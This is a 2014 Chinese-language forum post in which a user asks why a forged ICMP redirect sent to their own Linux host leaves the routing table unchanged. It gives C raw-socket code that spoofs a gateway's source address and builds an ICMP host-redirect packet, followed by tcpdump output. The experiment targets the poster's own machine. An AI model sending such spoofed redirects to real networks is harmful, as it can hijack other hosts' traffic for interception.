626788149 发表于 2014-10-15 22:34

linux伪装网关给自己发 ICMP重定向数据包 路由表没有变化 WHY?

本帖最后由 626788149 于 2014-10-16 13:06 编辑

#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/ip_icmp.h>
#include<netinet/in.h>
#include<netinet/udp.h>
#include<netinet/ip.h>
void send_icmptime(int sockfd, struct sockaddr *sa, socklen_t len);
uint16_t in_cksum(uint16_t *addr, int len);
#define MAXLINE 1024
void main()
{       
        int sockfd;
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        struct addrinfo *ai;
        int on =1;
        inet_pton(AF_INET, "186.9.9.9", &sin.sin_addr);
        if( (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                perror("socket");
        if( setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) < 0)
                perror("setsockopt");
        send_icmptime(sockfd, (struct sockaddr *)&sin, sizeof(sin));
}
void send_icmptime(int sockfd, struct sockaddr *s, socklen_t len)
{
       
               
        struct in_addr myaddr;
        inet_pton(AF_INET, "172.21.203.91", &myaddr);
        struct icmp *icmp;
        struct timeval val;
        struct ip *ip1;
       
        ip1 = (struct ip *)malloc(56);
        ip1->ip_v = 4;
        ip1->ip_hl = 5;
        ip1->ip_tos = 0;
        ip1->ip_len = 56;       
        ip1->ip_id = 0;
        ip1->ip_off = 0;
        ip1->ip_ttl = 64;
        ip1->ip_p = IPPROTO_ICMP;
        ip1->ip_sum = 0;
        inet_pton(AF_INET, "119.75.217.96", &ip1->ip_src);
        inet_pton(AF_INET, "127.0.0.1", &ip1->ip_dst);

       
        icmp = (struct icmp *)((char *)ip1 + 20);
        icmp->icmp_type = ICMP_REDIRECT;
        icmp->icmp_code = ICMP_REDIRECT_HOST;
        icmp->icmp_cksum = 0;
        icmp->icmp_gwaddr = myaddr;
       
        struct ip *ip;
        ip = (struct ip *)((char *)icmp + 8);
        ip->ip_v = 4;
        ip->ip_hl = 5;
        ip->ip_tos = 0;
        ip->ip_len = htons(55);       
        ip->ip_id = 0;
        ip->ip_off = 0;
        ip->ip_ttl = 54;
        ip->ip_p = IPPROTO_UDP;
        ip->ip_sum = 0;
        inet_pton(AF_INET, "172.21.202.14", &ip->ip_src);
        inet_pton(AF_INET, "172.21.202.91", &ip->ip_dst);
        ip->ip_sum = in_cksum((u_short *)ip, 20);
       
        struct udphdr *udp;
        udp = (struct udphdr*)((char *)ip + 20);
        udp->uh_sport =6666;
        udp->uh_dport =6666;       
        udp->uh_ulen = htons(55);
        udp->uh_sum = in_cksum((u_short *)udp, 8);
        icmp->icmp_cksum = in_cksum((u_short *)icmp, 36);
        if(sendto(sockfd, ip1, 56, 0 ,s, len) < 0)
                perror("sendto");
}
uint16_t in_cksum(uint16_t *addr, int len)
{
        int nleft = len;
        uint32_t sum = 0;
        uint16_t *w = addr;
        uint16_t answer = 0;
        while(nleft > 1)
        {
                sum += *w++;
                nleft -= 2;
        }
        if(nleft == 1)
        {
                *(unsigned char *)(&answer) = *(unsigned char *)w;
                sum += answer;
        }
        sum = ( sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer =~sum;
        return answer;

}
root@zz-E431:/home/zz# tcpdump -i ppp0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ppp0, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
13:01:46.891807 IP 119.75.217.96 > localhost: ICMP redirect 172.21.202.91 to host 172.21.203.91, length 36
页: [1]
查看完整版本: linux伪装网关给自己发 ICMP重定向数据包 路由表没有变化 WHY?